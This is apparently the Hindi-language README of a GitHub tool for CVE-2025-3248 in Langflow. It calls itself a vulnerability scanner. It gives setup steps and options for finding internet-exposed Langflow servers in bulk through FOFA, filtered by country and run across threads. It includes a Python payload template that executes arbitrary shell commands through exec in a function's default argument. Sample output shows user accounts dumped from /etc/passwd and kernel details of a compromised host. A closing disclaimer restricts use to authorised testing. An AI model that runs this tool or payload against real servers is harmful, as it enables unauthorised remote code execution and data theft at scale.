xuemian168/cve-2025-3248Langflow अनुप्रयोगों में CVE-2025-3248 के लिए एक भेद्यता स्कैनर। Langflow अनुप्रयोगों में CVE-2025-3248 भेद्यता को स्कैन करने के लिए एक उपकरण।
中文 ｜ English
Langflow एप्लिकेशन में CVE-2025-3248 के लिए एक भेद्यता स्कैनर।
git clone https://github.com/xuemian168/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
source venv/bin/active
pip install -r requirements.txt
# Edit करने के बाद
mv .env.example .env
python main.py -t https://target.com
python main.py --fofa-email [email protected] --fofa-key your_api_key
-t, --target: स्कैन करने का लक्ष्य URL--fofa-email: FOFA API ईमेल--fofa-key: FOFA API कुंजी--fofa-query: FOFA खोज क्वेरी (डिफ़ॉल्ट: 'app="LOGSPACE-LangFlow"')--country: देश कोड द्वारा परिणाम फ़िल्टर करें (जैसे, CN, US)--max-pages: प्राप्त करने के लिए FOFA पृष्ठों की अधिकतम संख्या (डिफ़ॉल्ट: 5)--page-size: प्रति पृष्ठ परिणाम (डिफ़ॉल्ट: 100)--timeout: सेकंड में अनुरोध समय सीमा (डिफ़ॉल्ट: 10)--no-verify: SSL सत्यापन अक्षम करें--threads: समवर्ती स्कैनिंग के लिए थ्रेड की संख्या (डिफ़ॉल्ट: 5)-f, --file: पेलोड के रूप में उपयोग करने के लिए कस्टम Python फ़ाइलआप एक Python फ़ाइल बनाकर कस्टम पेलोड बना सकते हैं:
def test(cd=exec('raise Exception(__import__("subprocess").check_output("your_command", shell=True))')):
pass
फिर इसका उपयोग करें:
python main.py -t https://target.com -f your_payload.py
[+] User Accounts:
root UID:0 GID:0 Home:/root Shell:/bin/bash
daemon UID:1 GID:1 Home:/usr/sbin Shell:/usr/sbin/nologin
bin UID:2 GID:2 Home:/bin Shell:/usr/sbin/nologin
sys UID:3 GID:3 Home:/dev Shell:/usr/sbin/nologin
sync UID:4 GID:65534 Home:/bin Shell:/bin/sync
games UID:5 GID:60 Home:/usr/games Shell:/usr/sbin/nologin
man UID:6 GID:12 Home:/var/cache/man Shell:/usr/sbin/nologin
lp UID:7 GID:7 Home:/var/spool/lpd Shell:/usr/sbin/nologin
mail UID:8 GID:8 Home:/var/mail Shell:/usr/sbin/nologin
news UID:9 GID:9 Home:/var/spool/news Shell:/usr/sbin/nologin
uucp UID:10 GID:10 Home:/var/spool/uucp Shell:/usr/sbin/nologin
proxy UID:13 GID:13 Home:/bin Shell:/usr/sbin/nologin
www-data UID:33 GID:33 Home:/var/www Shell:/usr/sbin/nologin
backup UID:34 GID:34 Home:/var/backups Shell:/usr/sbin/nologin
list UID:38 GID:38 Home:/var/list Shell:/usr/sbin/nologin
irc UID:39 GID:39 Home:/run/ircd Shell:/usr/sbin/nologin
_apt UID:42 GID:65534 Home:/nonexistent Shell:/usr/sbin/nologin
nobody UID:65534 GID:65534 Home:/nonexistent Shell:/usr/sbin/nologin
user UID:1000 GID:0 Home:/app/data Shell:/bin/sh
[+] System Details:
Linux ********** 6.8.0-1020-aws #22-Ubuntu SMP Thu Nov 21 **:**:** UTC 2025 x86_64 GNU/Linux
⚠️ अस्वीकरण यह उपकरण केवल कानूनी उद्देश्यों के लिए है। इसे शैक्षिक उद्देश्यों, आंतरिक उद्यम सुरक्षा परीक्षण, या अधिकृत वातावरण में उपयोग के लिए डिज़ाइन किया गया है। किसी भी अनधिकृत सिस्टम, नेटवर्क या डिवाइस पर इस उपकरण का उपयोग सख्त वर्जित है, अन्यथा यह प्रासंगिक कानूनों और विनियमों का उल्लंघन कर सकता है।
उपयोगकर्ता अपने कार्यों की सभी कानूनी जिम्मेदारी वहन करेंगे। लेखक और योगदानकर्ता इस उपकरण के अनुचित उपयोग के कारण होने वाली किसी भी हानि, डेटा रिसाव या कानूनी परिणामों के लिए जिम्मेदार नहीं हैं।
⚠️ अवैध हमलों के लिए उपयोग न करें। अनधिकृत सिस्टम पर इस उपकरण को तैनात या चलाने का प्रयास न करें।